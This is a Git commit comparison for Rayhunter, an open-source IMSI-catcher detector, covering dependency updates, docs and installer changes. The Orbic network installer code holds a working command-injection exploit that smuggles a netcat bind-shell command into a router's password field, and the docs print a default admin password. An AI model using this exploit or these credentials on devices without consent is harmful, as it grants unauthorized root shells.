Compare commits

..

15 Commits

Author SHA1 Message Date
Cooper Quintin d413a76b30 bump version 0.7.1 2025-10-08 13:13:50 -07:00
Markus Unterwaditzer fc532682df fix some type inference issues by installing @types/node
ProxyServer (first arg in vite.config.ts configure) inherits from
EventEmitter which has no type definition, so on() is not defined.
2025-10-08 10:51:51 -07:00
dependabot[bot] 8569a88f86 Bump esbuild, @sveltejs/vite-plugin-svelte, vite and vitest
Bumps [esbuild](https://github.com/evanw/esbuild) to 0.25.10 and updates ancestor dependencies [esbuild](https://github.com/evanw/esbuild), [@sveltejs/vite-plugin-svelte](https://github.com/sveltejs/vite-plugin-svelte/tree/HEAD/packages/vite-plugin-svelte), [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) and [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest). These dependencies need to be updated together.


Updates `esbuild` from 0.21.5 to 0.25.10
- [Release notes](https://github.com/evanw/esbuild/releases)
- [Changelog](https://github.com/evanw/esbuild/blob/main/CHANGELOG-2024.md)
- [Commits](https://github.com/evanw/esbuild/compare/v0.21.5...v0.25.10)

Updates `@sveltejs/vite-plugin-svelte` from 4.0.4 to 6.2.1
- [Release notes](https://github.com/sveltejs/vite-plugin-svelte/releases)
- [Changelog](https://github.com/sveltejs/vite-plugin-svelte/blob/main/packages/vite-plugin-svelte/CHANGELOG.md)
- [Commits](https://github.com/sveltejs/vite-plugin-svelte/commits/@sveltejs/vite-plugin-svelte@6.2.1/packages/vite-plugin-svelte)

Updates `vite` from 5.4.20 to 7.1.9
- [Release notes](https://github.com/vitejs/vite/releases)
- [Changelog](https://github.com/vitejs/vite/blob/main/packages/vite/CHANGELOG.md)
- [Commits](https://github.com/vitejs/vite/commits/v7.1.9/packages/vite)

Updates `vitest` from 2.1.9 to 3.2.4
- [Release notes](https://github.com/vitest-dev/vitest/releases)
- [Commits](https://github.com/vitest-dev/vitest/commits/v3.2.4/packages/vitest)

---
updated-dependencies:
- dependency-name: esbuild
  dependency-version: 0.25.10
  dependency-type: indirect
- dependency-name: "@sveltejs/vite-plugin-svelte"
  dependency-version: 6.2.1
  dependency-type: direct:development
- dependency-name: vite
  dependency-version: 7.1.9
  dependency-type: direct:development
- dependency-name: vitest
  dependency-version: 3.2.4
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-08 10:51:51 -07:00
Cooper Quintin e60035f744 use port 24 2025-10-08 10:46:41 -07:00
Markus Unterwaditzer 1a80a0576c Add --admin-password to orbic-network installer, update docs
Also add some more debug-logging to telnet_send_file since it appears
to be janky on my device.

see #599
2025-10-08 10:46:41 -07:00
Markus Unterwaditzer fa5c2bf5d1 Fix installation from source again
Fix https://github.com/EFForg/rayhunter/issues/630

A better fix would be to automatically infer the right path based on
what's available. Maybe based on cfg!(debug_assertions)? idk too fancy.
2025-10-08 09:25:17 -07:00
Markus Unterwaditzer ce8cbb743f Add TP-Link M7350 bands 2025-10-07 16:59:59 -07:00
Markus Unterwaditzer 13c1602f76 Check in package-lock.json
It seems we never checked in our package-lock.json, which means there's
no effective checksum verification or version pinning going on.
2025-10-07 16:59:08 -07:00
Markus Unterwaditzer e2cde3be90 Update CONTRIBUTING.md
Co-authored-by: Cooper Quintin <cooperq@users.noreply.github.com>
2025-10-06 10:40:54 -07:00
Markus Unterwaditzer 8ed3459349 Add CONTRIBUTING.md 2025-10-06 10:40:54 -07:00
Evan Anderson 5ccdcc8685 tplink: Implement battery level support 2025-10-01 10:10:46 -07:00
Markus Unterwaditzer dac838eea9 Improve log message 2025-10-01 09:57:02 -07:00
Markus Unterwaditzer 9d33c161b6 Replace wrong make.sh command 2025-10-01 09:57:02 -07:00
Markus Unterwaditzer f6ff61f26b CI: Fix missing components in rust setup 2025-10-01 09:57:02 -07:00
Markus Unterwaditzer 9f57edd385 Fix support for M7350 v6 2025-10-01 09:57:02 -07:00
25 changed files with 5527 additions and 161 deletions
+1
View File
@@ -4,3 +4,4 @@
- [ ] Added or updated any documentation as needed to support the changes in this PR.
- [ ] Code has been linted and run through `cargo fmt`
- [ ] If any new functionality has been added, unit tests were also added
- [ ] [./CONTRIBUTING.md](../CONTRIBUTING.md) has been read
+2
View File
@@ -105,6 +105,8 @@ jobs:
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
with:
components: rustfmt, clippy
- uses: Swatinem/rust-cache@v2
- name: Check formatting
run: cargo fmt --all --check
+75
View File
@@ -0,0 +1,75 @@
# How to contribute to Rayhunter
## Filing issues and starting discussions
Our issue tracker is [on GitHub](https://github.com/EFForg/rayhunter/issues).
- If your rayhunter has found an IMSI-catcher, we strongly encourage you to
[send us that information
privately.](https://efforg.github.io/rayhunter/faq.html#help-rayhunters-line-is-redorangeyellowdotteddashed-what-should-i-do) via Signal.
- Issues should be actionable. If you don't have a
specific feature request or bug report, consider [creating a
discussion](https://github.com/EFForg/rayhunter/discussions) instead.
Example of a good bug report:
- "Installer broken on TP-Link M7350 v3.0"
- "Display does not update to green after finding"
- "The documentation is wrong" (though we encourage you to file a pull request directly)
Example of a good feature request:
- "Use LED on device XYZ for showing recording status"
Example of something that belongs into discussion:
- "In region XYZ, do I need an activated SIM?"
- "Where to buy this device in region XYZ?"
- "Can this device be supported?" While this is a valid feature
request, we just get this request too often, and without some exploratory
work done upfront it's often unclear initially if that device can be
supported at all.
- The issue templates are mostly there to give you a clue what kind of
information is needed from you, and whether your request belongs into the issue
tracker. Fill them out to be on the safe side, but they are not mandatory.
## Contributing patches
To edit documentation or fix a bug, make a pull request. If you're about to
write a substantial amount of code or implement a new feature, we strongly
encourage you to talk to us before implementing it or check if any issues have
been opened for it already. Otherwise there is a chance we will reject your
contribution after you have spent time on it.
On the other hand, for small documentation fixes you can file a PR without
filing an issue.
Otherwise:
- Refer to [installing from
source](https://efforg.github.io/rayhunter/installing-from-source.html) for
how to build Rayhunter from the git repository.
- Ensure that `cargo fmt` and `cargo clippy` have been run.
- If you add new features, please do your best to both write tests for and also
manually test them. Our test coverage isn't great, but as new features are
added we are trying to prevent it from becoming worse.
If you have any questions [feel free to open a discussion or chat with us on Mattermost.](https://efforg.github.io/rayhunter/support-feedback-community.html)
## Making releases
This one is for maintainers of Rayhunter.
1. Make a PR changing the versions in `Cargo.toml` and other files.
This could be automated better but right now it's manual. You can do this easily with sed:
`sed -i "" -E 's/x.x.x/y.y.y/g' */Cargo.toml`
2. Merge PR and make a tag.
3. [Run release workflow.](https://github.com/EFForg/rayhunter/actions/workflows/release.yml)
4. Write changelog, edit it into the release, announce on mattermost.
Generated
+6 -6
View File
@@ -1733,7 +1733,7 @@ dependencies = [
[[package]]
name = "installer"
version = "0.7.0"
version = "0.7.1"
dependencies = [
"adb_client",
"aes",
@@ -2772,7 +2772,7 @@ dependencies = [
[[package]]
name = "rayhunter"
version = "0.7.0"
version = "0.7.1"
dependencies = [
"bytes",
"chrono",
@@ -2794,7 +2794,7 @@ dependencies = [
[[package]]
name = "rayhunter-check"
version = "0.7.0"
version = "0.7.1"
dependencies = [
"clap",
"futures",
@@ -2808,7 +2808,7 @@ dependencies = [
[[package]]
name = "rayhunter-daemon"
version = "0.7.0"
version = "0.7.1"
dependencies = [
"anyhow",
"async-trait",
@@ -2954,7 +2954,7 @@ dependencies = [
[[package]]
name = "rootshell"
version = "0.7.0"
version = "0.7.1"
dependencies = [
"nix",
]
@@ -3439,7 +3439,7 @@ checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1"
[[package]]
name = "telcom-parser"
version = "0.7.0"
version = "0.7.1"
dependencies = [
"asn1-codecs",
"asn1-compiler",
+1 -1
View File
@@ -1,6 +1,6 @@
[package]
name = "rayhunter-check"
version = "0.7.0"
version = "0.7.1"
edition = "2024"
[dependencies]
+1 -1
View File
@@ -1,6 +1,6 @@
[package]
name = "rayhunter-daemon"
version = "0.7.0"
version = "0.7.1"
edition = "2024"
rust-version = "1.88.0"
+2
View File
@@ -13,6 +13,7 @@ use crate::{
pub mod orbic;
pub mod tmobile;
pub mod tplink;
pub mod wingtech;
const LOW_BATTERY_LEVEL: u8 = 10;
@@ -50,6 +51,7 @@ pub async fn get_battery_status(device: &Device) -> Result<BatteryState, Rayhunt
Device::Orbic => orbic::get_battery_state().await?,
Device::Wingtech => wingtech::get_battery_state().await?,
Device::Tmobile => tmobile::get_battery_state().await?,
Device::Tplink => tplink::get_battery_state().await?,
_ => return Err(RayhunterError::FunctionNotSupportedForDeviceError),
})
}
+39
View File
@@ -0,0 +1,39 @@
use crate::{battery::BatteryState, error::RayhunterError};
pub async fn get_battery_state() -> Result<BatteryState, RayhunterError> {
let uci_battery = tokio::process::Command::new("uci")
.arg("get")
.arg("battery.battery_mgr.power_level")
.output()
.await?;
let uci_plugged_in = tokio::process::Command::new("uci")
.arg("get")
.arg("battery.battery_mgr.is_charging")
.output()
.await?;
if !uci_battery.status.success() {
return Err(RayhunterError::BatteryLevelParseError);
}
if !uci_plugged_in.status.success() {
return Err(RayhunterError::BatteryPluggedInStatusParseError);
}
let uci_battery = String::from_utf8_lossy(&uci_battery.stdout)
.trim_end()
.parse()
.map_err(|_| RayhunterError::BatteryLevelParseError)?;
let uci_plugged_in = match String::from_utf8_lossy(&uci_plugged_in.stdout).trim_end() {
"0" => Ok(false),
"1" => Ok(true),
_ => Err(RayhunterError::BatteryPluggedInStatusParseError),
}?;
Ok(BatteryState {
level: uci_battery,
is_plugged_in: uci_plugged_in,
})
}
-3
View File
@@ -19,6 +19,3 @@ Thumbs.db
# Vite
vite.config.js.timestamp-*
vite.config.ts.timestamp-*
package-lock.json
yarn.lock
+5104
View File
File diff suppressed because it is too large Load Diff
+4 -3
View File
@@ -18,8 +18,9 @@
"@sveltejs/adapter-auto": "^3.0.0",
"@sveltejs/adapter-static": "^3.0.5",
"@sveltejs/kit": "^2.13.0",
"@sveltejs/vite-plugin-svelte": "^4.0.0",
"@sveltejs/vite-plugin-svelte": "^6.2.1",
"@types/eslint": "^9.6.0",
"@types/node": "^24.7.0",
"autoprefixer": "^10.4.20",
"eslint": "^9.7.0",
"eslint-config-prettier": "^9.1.0",
@@ -32,7 +33,7 @@
"tailwindcss": "^3.4.9",
"typescript": "^5.0.0",
"typescript-eslint": "^8.0.0",
"vite": "^5.0.3",
"vitest": "^2.0.4"
"vite": "^7.1.9",
"vitest": "^3.2.4"
}
}
+2 -1
View File
@@ -51,7 +51,8 @@ cargo build -p rootshell --bin rootshell --target armv7-unknown-linux-musleabihf
# Replace 'orbic' with your device type if different.
# A list of possible values can be found with 'cargo run --bin installer help'.
cargo run -p installer --bin installer orbic
# Use FILE_RAYHUNTER_DAEMON to specify the daemon binary path when using development builds:
FILE_RAYHUNTER_DAEMON=$PWD/target/armv7-unknown-linux-musleabihf/firmware-devel/rayhunter-daemon cargo run -p installer --bin installer orbic
```
### If you're on Windows or can't run the install scripts
+2 -3
View File
@@ -30,11 +30,10 @@ According to [FCC ID 2APQU-K779HSDL](https://fcc.report/FCC-ID/2APQU-K779HSDL),
Connect to the hotspot's network using WiFi or USB tethering and run:
```sh
./installer orbic-network
./installer orbic-network --admin-password 'mypassword'
```
The installation will ask you to log into the admin UI using a custom URL. The
password for that is under the battery.
The password (in place of `mypassword`) is under the battery.
## Obtaining a shell
+7 -4
View File
@@ -32,11 +32,14 @@ reliably on Windows than `./installer orbic` does.
The drawback is that the device's admin password is required.
1. Connect to the Orbic's network via WiFi or USB tethering
2. Run `./installer orbic-network`
3. The installer will ask you to log into the admin UI on `localhost:4000`. The password for that is the same as the WiFi password.
4. As soon as you're logged in, the installer will continue and reboot the device.
2. Run `./installer orbic-network --admin-password 'mypassword'`
*note*: On Kajeet devices the default admin password is `$m@rt$p0tc0nf!g`, on most other orbic devices the default admin password is the same as the wifi password. If the password has been changed you can reset it by pressing the button under the back case until the unit restarts.
* On Verizon Orbic, the password is the WiFi password.
* On Kajeet/Smartspot devices, the default password is `$m@rt$p0tc0nf!g`
* On Moxee-brand devices, check under the battery for the password.
* You can reset the password by pressing the button under the back case until the unit restarts.
3. The installer will eventually reboot the device, at which point the device is up and running.
## Obtaining a shell
+10
View File
@@ -4,6 +4,16 @@ Supported in Rayhunter since version 0.3.0.
The TP-Link M7350 supports many more frequency bands than Orbic and therefore works in Europe and also in some Asian and African countries.
## Supported Bands
| Technology | Bands |
| ---------- | ----- |
| 4G LTE | B1/B3/B7/B8/B20 (2100/1800/2600/900/800 MHz) |
| 3G | B1/B8 (2100/900 MHz) |
| 2G | 850/900/1800/1900 MHz |
*Source: [TP-Link Official Product Page](https://www.tp-link.com/baltic/service-provider/lte-3g/m7350/)*
## Hardware versions
The TP-Link comes in many different *hardware versions*. Support for installation varies:
+1 -1
View File
@@ -1,6 +1,6 @@
[package]
name = "installer"
version = "0.7.0"
version = "0.7.1"
edition = "2024"
[dependencies]
+11 -2
View File
@@ -3,6 +3,7 @@ use clap::{Parser, Subcommand};
use env_logger::Env;
mod orbic;
mod orbic_auth;
mod orbic_network;
mod pinephone;
mod tmobile;
@@ -76,6 +77,14 @@ struct OrbicNetworkArgs {
/// IP address for Orbic admin interface, if custom.
#[arg(long, default_value = "192.168.1.1")]
admin_ip: String,
/// Admin username for authentication.
#[arg(long, default_value = "admin")]
admin_username: String,
/// Admin password for authentication.
#[arg(long)]
admin_password: String,
}
#[derive(Parser, Debug)]
@@ -199,7 +208,7 @@ async fn run() -> Result<(), Error> {
Command::Pinephone(_) => pinephone::install().await
.context("Failed to install rayhunter on the Pinephone's Quectel modem")?,
Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
Command::OrbicNetwork(args) => orbic_network::install(args.admin_ip).await.context("\nFailed to install rayhunter on the Orbic RC400L via network exploit")?,
Command::OrbicNetwork(args) => orbic_network::install(args.admin_ip, args.admin_username, args.admin_password).await.context("\nFailed to install rayhunter on the Orbic RC400L via network exploit")?,
Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?,
Command::Util(subcommand) => match subcommand.command {
UtilSubCommand::Serial(serial_cmd) => {
@@ -237,7 +246,7 @@ async fn run() -> Result<(), Error> {
UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?,
UtilSubCommand::PinephoneStartAdb => pinephone::start_adb().await.context("\nFailed to start adb on the PinePhone's modem")?,
UtilSubCommand::PinephoneStopAdb => pinephone::stop_adb().await.context("\nFailed to stop adb on the PinePhone's modem")?,
UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip).await.context("\\nFailed to start telnet on the Orbic RC400L")?,
UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip, &args.admin_username, &args.admin_password).await.context("\\nFailed to start telnet on the Orbic RC400L")?,
}
}
+80
View File
@@ -0,0 +1,80 @@
use anyhow::{Context, Result};
use base64_light::base64_encode;
use serde::{Deserialize, Serialize};
/// Helper function to swap characters in a string
fn swap_chars(s: &str, pos1: usize, pos2: usize) -> String {
let mut chars: Vec<char> = s.chars().collect();
if pos1 < chars.len() && pos2 < chars.len() {
chars.swap(pos1, pos2);
}
chars.into_iter().collect()
}
/// Apply character swapping based on secret (unchanged from original algorithm)
fn apply_secret_swapping(mut text: String, secret_num: u32) -> String {
for i in 0..4 {
let byte = (secret_num >> (i * 8)) & 0xff;
let pos1 = (byte as usize) % text.len();
let pos2 = i % text.len();
text = swap_chars(&text, pos1, pos2);
}
text
}
/// Encode password using Orbic's custom algorithm
///
/// This function is a lot simpler than the original JavaScript because it always uses the same
/// character set regardless of "password type", and any randomly generated values are hardcoded.
pub fn encode_password(
password: &str,
secret: &str,
timestamp: &str,
timestamp_start: u64,
) -> Result<String> {
let current_time = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
// MD5 hash the password and use fixed prefix "a7" instead of random chars
let password_md5 = format!("{:x}", md5::compute(password));
let mut spliced_password = format!("a7{}", password_md5);
let secret_num = u32::from_str_radix(secret, 16).context("Failed to parse secret as hex")?;
spliced_password = apply_secret_swapping(spliced_password, secret_num);
let timestamp_hex =
u32::from_str_radix(timestamp, 16).context("Failed to parse timestamp as hex")?;
let time_delta = format!(
"{:x}",
timestamp_hex + (current_time - timestamp_start) as u32
);
// Use fixed hex "6137" instead of hex encoding of random values
let message = format!("6137x{}:{}", time_delta, spliced_password);
let result = base64_encode(&message);
let result = apply_secret_swapping(result, secret_num);
Ok(result)
}
#[derive(Debug, Serialize)]
pub struct LoginRequest {
pub username: String,
pub password: String,
}
#[derive(Debug, Deserialize)]
pub struct LoginInfo {
pub retcode: u32,
#[serde(rename = "priKey")]
pub pri_key: String,
}
#[derive(Debug, Deserialize)]
pub struct LoginResponse {
pub retcode: u32,
}
+120 -117
View File
@@ -4,21 +4,11 @@ use std::str::FromStr;
use std::time::Duration;
use anyhow::{Context, Result, bail};
use axum::{
Router,
body::Body,
extract::{Request, State},
http::uri::Uri,
response::{IntoResponse, Response},
routing::any,
};
use hyper::StatusCode;
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
use reqwest::Client;
use serde::Deserialize;
use tokio::sync::mpsc;
use tokio::time::sleep;
use crate::orbic_auth::{LoginInfo, LoginRequest, LoginResponse, encode_password};
use crate::util::{echo, telnet_send_command, telnet_send_file};
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
@@ -27,16 +17,128 @@ struct ExploitResponse {
retcode: u32,
}
pub async fn start_telnet(admin_ip: &str) -> Result<()> {
println!("Waiting for login and trying exploit... ");
login_and_exploit(admin_ip).await?;
async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Result<()> {
let client: Client = Client::new();
// Step 1: Get login info (priKey and session cookie)
let login_info_response = client
.get(format!("http://{}/goform/GetLoginInfo", admin_ip))
.send()
.await
.context("Failed to get login info")?;
let session_cookie = login_info_response
.headers()
.get("set-cookie")
.and_then(|cookie| cookie.to_str().ok())
.context("No session cookie received")?
.split(';')
.next()
.context("Invalid cookie format")?
.to_string();
let login_info: LoginInfo = login_info_response
.json()
.await
.context("Failed to parse login info")?;
if login_info.retcode != 0 {
bail!("GetLoginInfo failed with retcode: {}", login_info.retcode);
}
// Parse priKey (format: "secret x timestamp")
let mut parts = login_info.pri_key.split('x');
let secret = parts.next().context("Missing secret in priKey")?;
let timestamp = parts.next().context("Missing timestamp in priKey")?;
if parts.next().is_some() {
bail!("Invalid priKey format: {}", login_info.pri_key);
}
// Step 2: Encode credentials
let username_md5 = format!("{:x}", md5::compute(username));
let timestamp_start = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
let encoded_password = encode_password(password, secret, timestamp, timestamp_start)
.context("Failed to encode password")?;
let login_request = LoginRequest {
username: username_md5,
password: encoded_password,
};
// Step 3: Perform login
let login_response = client
.post(format!("http://{}/goform/login", admin_ip))
.header("Content-Type", "application/json")
.header("Cookie", &session_cookie)
.json(&login_request)
.send()
.await
.context("Failed to send login request")?;
// Extract authenticated session cookie from login response
let authenticated_cookie = login_response
.headers()
.get("set-cookie")
.and_then(|cookie| cookie.to_str().ok())
.map(|cookie| cookie.split(';').next().unwrap_or(cookie).to_string())
.unwrap_or(session_cookie);
let login_result: LoginResponse = login_response
.json()
.await
.context("Failed to parse login response")?;
if login_result.retcode != 0 {
bail!("Login failed with retcode: {}", login_result.retcode);
}
// Step 4: Exploit using authenticated session
let response: ExploitResponse = client
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
.header("Content-Type", "application/json")
.header("Cookie", authenticated_cookie)
// Original Orbic lacks telnetd (unlike other devices)
// When doing this, one needs to set prompt=None in the telnet utility functions
// But some kajeet devices have password protected telnetd so we use port 24 just in case
.body(r#"{"password": "\"; busybox nc -ll -p 24 -e /bin/sh & #"}"#)
.send()
.await
.context("failed to start telnet")?
.json()
.await
.context("failed to start telnet")?;
if response.retcode != 0 {
bail!("unexpected response while starting telnet: {:?}", response);
}
Ok(())
}
pub async fn start_telnet(
admin_ip: &str,
admin_username: &str,
admin_password: &str,
) -> Result<()> {
echo!("Logging in and starting telnet... ");
login_and_exploit(admin_ip, admin_username, admin_password).await?;
println!("done");
Ok(())
}
pub async fn install(admin_ip: String) -> Result<()> {
start_telnet(&admin_ip).await?;
pub async fn install(
admin_ip: String,
admin_username: String,
admin_password: String,
) -> Result<()> {
echo!("Logging in and starting telnet... ");
login_and_exploit(&admin_ip, &admin_username, &admin_password).await?;
println!("done");
echo!("Waiting for telnet to become available... ");
wait_for_telnet(&admin_ip).await?;
@@ -45,107 +147,8 @@ pub async fn install(admin_ip: String) -> Result<()> {
setup_rayhunter(&admin_ip).await
}
type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
#[derive(Clone)]
struct ProxyState {
client: HttpProxyClient,
admin_ip: String,
session_sender: mpsc::Sender<String>,
}
async fn proxy_handler(state: State<ProxyState>, mut req: Request) -> Result<Response, StatusCode> {
// Check for existing session cookie in request
if let Some(cookie_header) = req.headers().get("cookie")
&& let Ok(cookie_str) = cookie_header.to_str()
&& cookie_str.contains("-goahead-session-")
{
let _ = state.session_sender.send(cookie_str.to_owned()).await;
}
let path_query = req
.uri()
.path_and_query()
.map(|v| v.as_str())
.unwrap_or("/");
let uri = format!("http://{}{}", state.admin_ip, path_query);
*req.uri_mut() = Uri::try_from(uri).unwrap();
let response = state
.client
.request(req)
.await
.map_err(|_| StatusCode::BAD_REQUEST)?;
Ok(response.into_response())
}
async fn login_and_exploit(admin_ip: &str) -> Result<()> {
let client = hyper_util::client::legacy::Client::builder(TokioExecutor::new())
.build(HttpConnector::new());
let (tx, mut rx) = mpsc::channel(100);
let app = Router::new()
.route("/", any(proxy_handler))
.route("/{*path}", any(proxy_handler))
.with_state(ProxyState {
client,
admin_ip: admin_ip.to_owned(),
session_sender: tx,
});
let listener = tokio::net::TcpListener::bind("127.0.0.1:4000")
.await
.context("Failed to bind to port 4000")?;
println!(
"Please open http://127.0.0.1:4000 in your browser and log into the device to continue."
);
println!("Username: admin");
println!(
"Password: On Verizon Orbic RC400L, use the WiFi password. On Moxee devices, check under the battery."
);
let handle = tokio::spawn(async move { axum::serve(listener, app).await });
let exploit_client = Client::new();
let mut last_error = None;
while let Some(cookie_header) = rx.recv().await {
match start_reverse_shell(&exploit_client, admin_ip, &cookie_header).await {
Ok(_) => {
handle.abort();
return Ok(());
}
Err(e) => last_error = Some(e),
}
}
handle.abort();
bail!("Failed to receive session cookie, last error: {last_error:?}")
}
async fn start_reverse_shell(client: &Client, admin_ip: &str, cookie_header: &str) -> Result<()> {
let response: ExploitResponse = client
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
.header("Content-Type", "application/json")
.header("Cookie", cookie_header)
// Original Orbic lacks telnetd (unlike other devices)
// When doing this, one needs to set prompt=None in the telnet utility functions
.body(r#"{"password": "\"; busybox nc -ll -p 23 -e /bin/sh & #"}"#)
.send()
.await?
.json()
.await?;
if response.retcode != 0 {
bail!("unexpected response: {:?}", response);
}
Ok(())
}
async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?;
let addr = SocketAddr::from_str(&format!("{}:24", admin_ip))?;
let timeout = Duration::from_secs(60);
let start_time = std::time::Instant::now();
@@ -166,7 +169,7 @@ async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
}
async fn setup_rayhunter(admin_ip: &str) -> Result<()> {
let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?;
let addr = SocketAddr::from_str(&format!("{}:24", admin_ip))?;
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
// Remount filesystem as read-write to allow modifications
+12 -2
View File
@@ -40,6 +40,7 @@ struct V3RootResponse {
pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> {
let client = reqwest::Client::new();
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
println!("Launching telnet on the device");
@@ -85,11 +86,20 @@ pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> {
anyhow::bail!("Bad result code when trying to reset the language: {result}");
}
println!("Detected hardware revision v3");
// Final check. On v6, all of the above steps succeed, but telnet may still not be launched.
sleep(Duration::from_millis(1000)).await;
if telnet_send_command(addr, "true", "exit code 0", true)
.await
.is_err()
{
continue;
}
println!("Detected hardware revision v3, successfully opened telnet");
return Ok(true);
}
println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit");
println!("This doesn't look like a v3 device, trying web-based exploit");
tplink_launch_telnet_v5(admin_ip).await?;
Ok(false)
+43 -13
View File
@@ -18,12 +18,11 @@ macro_rules! echo {
}
pub(crate) use echo;
pub async fn telnet_send_command(
pub async fn telnet_send_command_with_output(
addr: SocketAddr,
command: &str,
expected_output: &str,
wait_for_prompt: bool,
) -> Result<()> {
) -> Result<String> {
let stream = TcpStream::connect(addr).await?;
let (mut reader, mut writer) = stream.into_split();
@@ -69,9 +68,19 @@ pub async fn telnet_send_command(
}
})
.await;
let string = String::from_utf8_lossy(&read_buf);
if !string.contains(expected_output) {
bail!("{expected_output:?} not found in: {string}");
let string = String::from_utf8_lossy(&read_buf).to_string();
Ok(string)
}
pub async fn telnet_send_command(
addr: SocketAddr,
command: &str,
expected_output: &str,
wait_for_prompt: bool,
) -> Result<()> {
let output = telnet_send_command_with_output(addr, command, wait_for_prompt).await?;
if !output.contains(expected_output) {
bail!("{expected_output:?} not found in: {output}");
}
Ok(())
}
@@ -83,17 +92,18 @@ pub async fn telnet_send_file(
wait_for_prompt: bool,
) -> Result<()> {
echo!("Sending file {filename} ... ");
{
let nc_output = {
let filename = filename.to_owned();
let handle = tokio::spawn(async move {
telnet_send_command(
telnet_send_command_with_output(
addr,
&format!("nc -l -p 8081 >{filename}.tmp"),
"",
wait_for_prompt,
)
.await
});
// wait for nc to become available. if the installer fails with connection refused, this
// likely is not high enough.
sleep(Duration::from_millis(100)).await;
let mut addr = addr;
addr.set_port(8081);
@@ -101,11 +111,22 @@ pub async fn telnet_send_file(
{
let mut stream = TcpStream::connect(addr).await?;
stream.write_all(payload).await?;
// ensure that stream is dropped before we wait for nc to terminate!
// if the orbic is sluggish, we need for nc to write the data to disk before
// terminating the connection. if we terminate the connection while there is unflushed
// data, that data will just not be written from nc's buffer into OS disk buffer. the
// symptom is mismatched md5 hashes.
//
// this is NOT fixed by calling fsync or similar, we're talking about dropped
// application buffers here.
sleep(Duration::from_millis(1000)).await;
// ensure that stream is dropped before we wait for nc to terminate.
}
handle.await??;
}
handle.await??
};
let checksum = md5::compute(payload);
telnet_send_command(
addr,
@@ -113,7 +134,15 @@ pub async fn telnet_send_file(
&format!("{checksum:x} {filename}.tmp"),
wait_for_prompt,
)
.await?;
.await
.with_context(|| {
format!(
"File transfer failed. nc command output: '{}'. Expected checksum: {:x}",
nc_output.trim(),
checksum
)
})?;
telnet_send_command(
addr,
&format!("mv {filename}.tmp {filename}"),
@@ -121,6 +150,7 @@ pub async fn telnet_send_file(
wait_for_prompt,
)
.await?;
println!("ok");
Ok(())
}
+1 -1
View File
@@ -1,6 +1,6 @@
[package]
name = "rayhunter"
version = "0.7.0"
version = "0.7.1"
edition = "2024"
description = "Realtime cellular data decoding and analysis for IMSI catcher detection"
+1 -1
View File
@@ -2,7 +2,7 @@
pushd daemon/web
npm run build
popd
cargo build --profile firmware-devel --bin rayhunter-daemon --target="armv7-unknown-linux-musleabihf" #--features debug
cargo build-daemon-firmware-devel
adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"'
adb push target/armv7-unknown-linux-musleabihf/firmware-devel/rayhunter-daemon \
/data/rayhunter/rayhunter-daemon
+1 -1
View File
@@ -1,6 +1,6 @@
[package]
name = "rootshell"
version = "0.7.0"
version = "0.7.1"
edition = "2024"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+1 -1
View File
@@ -1,6 +1,6 @@
[package]
name = "telcom-parser"
version = "0.7.0"
version = "0.7.1"
edition = "2024"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html